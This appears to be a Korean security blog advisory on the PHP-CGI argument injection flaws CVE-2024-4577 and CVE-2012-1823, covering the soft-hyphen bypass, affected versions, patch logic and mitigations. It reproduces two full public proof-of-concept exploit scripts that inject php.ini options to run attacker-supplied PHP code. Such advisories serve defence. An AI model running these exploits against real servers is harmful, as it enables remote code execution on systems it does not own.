1. PHP-CGI (Common Gateway Interface)
- CGI(Common Gateway Interface): 웹 서버와 외부 프로그램 간의 상호 작용을 위한 표준 인턴페이스
- 웹 서버는 사용자 요청에 PHP 스크립트 포함된 경우 해당 스크립트를 PHP 인터프리터에 전달하여 실행 및 결과 전송
> 스크립트 실행을 위해 웹 서버의 cgi-bin 디렉토리를 생성하고, 디렉터리 내 .cgi 또는 .php로 저장해야 함
2. 취약점
- Window에 설치된 취약한 버전의 PHP-CGI에서 발생하는 Argument Injection 취약점
> 윈도우의 인코딩 변환 기능 중 Best-Fit 기능과 관련
> 특정 문자 시퀀스를 사용해 CVE-2012-1823에 대한 패치를 우회할 수 있음
영향받는 버전
- PHP-CGI 8.3.8 이전 버전
- PHP-CGI 8.2.20 이전 버전
- PHP-CGI 8.1.29 이전 버전
- 공격자는 일반 대시(-, 0x2D)가 아닌 소프트 하이폰(-, 0xAD)를 사용 [2]
> 소프트 하이폰을 이스케이프하지 못해 취약점이 발생
> 공개된 PoC 확인 시 0xAD를 포함한 POST 요청을 확인할 수 있음 [3]
"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber)
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-php_cve-2024-4577.py
(*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
- Aliz Hammond, watchTowr (aliz@watchTowr.com)
- Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
CVEs: [CVE-2024-4577] """
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse
print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")
parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')
s = requests.Session()
s.verify = False
res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
print('(+) Exploit was successful')
else:
print('(!) Exploit may have failed')
2.1 CVE-2012-1823
- 취약한 버전의 PHP에서 발생하는 원격 명령 실행 취약점
> PHP에서 PHP-CGI로 값을 전달할 때 값에 대한 적절한 검증이 없어 발생
영향받는 버전
- PHP 5.3.12 이전 버전
- PHP 5.4.2 이전 버전
- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생
> 1793줄 if(): CGI 사용 여부 확인
> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달
구분 | 옵션 | 설명 |
자주 사용되는 Exploit 옵션 |
-n | php.ini 파일을 사용하지 않음 |
-s | 소스코드를 하이라이트로 보여줌 | |
-d | php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음 > allow_url_fopen=1: 외부 URL로부터 파일 호출 > allow_url_include=1: 외부 파일 include 허용 > auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행 > auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를 실행 > auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행 |
- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]
######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################
import socket
import sys
def cgi_exploit():
pwn_code = """<?php phpinfo();?>"""
post_Length = len(pwn_code)
http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
%s
""" %(HOST , post_Length ,pwn_code)
print http_raw
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, int(PORT)))
sock.send(http_raw)
data = sock.recv(10000)
print repr(data)
sock.close()
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)
if __name__ == '__main__':
try:
HOST = sys.argv[1]
PORT = sys.argv[2]
cgi_exploit()
except IndexError:
print '[+]Usage: cgi_test.py site.com 80'
sys.exit(-1)
- 취약점은 다음과 같이 패치됨
> 1815줄 if(): URL 디코딩 전 QUERY_STRING이 NULL이 아니고, "="를 포함하지 않는다면 URL 디코딩 후 변수 p에 할당
> 1823줄 if(): 변수 p가 "-"로 시작하는 경우 skip_getopt 변수를 1로 초기화
> 1829줄 while(): skip_getopt 변수가 1이므로 while()문을 실행하지 않아 PHP-CGI 옵션 실행 방지
3. 대응방안
① 벤더사 제공 최신 업데이트 적용 [7]
> PHP 8.0, 7, 5 계열은 지원 종료로 패치 없음
제품명 | 영향받는 버전 | 해결 버전 |
PHP-CGI | 8.3.8 이전 버전 | 8.3.8 |
8.2.20 이전 버전 | 8.2.20 | |
8.1.29 이전 버전 | 8.1.29 |
② 패치가 불가능한 경우 임시 조치 적용 [8]
> Mod-PHP, FastCGI, PHP-FPM과 같은 보다 안전한 아키텍처로 마이그레이션
> 재작성규칙(Rewrite Rules)을 구성: 전통 중국어, 간체 중국어, 일본어 윈도에서만 사용할 수 있는 방법
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
> 윈도용 XAMPP(XAMPP for Windows)를 사용하는 경우 "httpd-xampp.conf" 파일의 설정 변경
C:/xampp/apache/conf/extra/httpd-xampp.conf 파일
> ScriptAlias /php-cgi/ "C:/xampp/php/" 행을 찾아 주석 처리
> # ScriptAlias /php-cgi/ "C:/xampp/php/"
※ XAMPP 자체가 업데이트되지 않아 패치 적용 불가
※ 모든 버전의 윈도우용 XAMPP이 취약점에 노출되어 있으므로 XAMPP 또한 패치 대상
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2024-4577
[2] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[3] https://github.com/watchtowrlabs/CVE-2024-4577
[4] https://www.youtube.com/watch?v=8d5f0xzOdK4
[5] https://nvd.nist.gov/vuln/detail/CVE-2012-1823
[6] https://www.exploit-db.com/exploits/18836
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71457&menuNo=205020
[8] https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
[9] https://www.dailysecu.com/news/articleView.html?idxno=156643
[10] https://www.boannews.com/media/view.asp?idx=130470&page=1&kind=1
[11] https://www.boannews.com/media/view.asp?idx=130481&page=1&kind=1
'취약점 > Injection' 카테고리의 다른 글
Ivanti Cloud Service Appliance OS Command Injection (CVE-2024-8190) (0) | 2024.09.23 |
---|---|
Progress Software OS Command Injection (CVE-2024-7591) (1) | 2024.09.17 |
PaloAlto PAN-OS OS Command Injection (CVE-2024-3400) (1) | 2024.04.16 |
D-Link NAS 제품군 Command Injection 취약점(CVE-2024-3273) (0) | 2024.04.09 |
MOVEit Transfer SQL Injection 취약점(CVE-2023-35036, CVE-2023-35708) (0) | 2023.06.17 |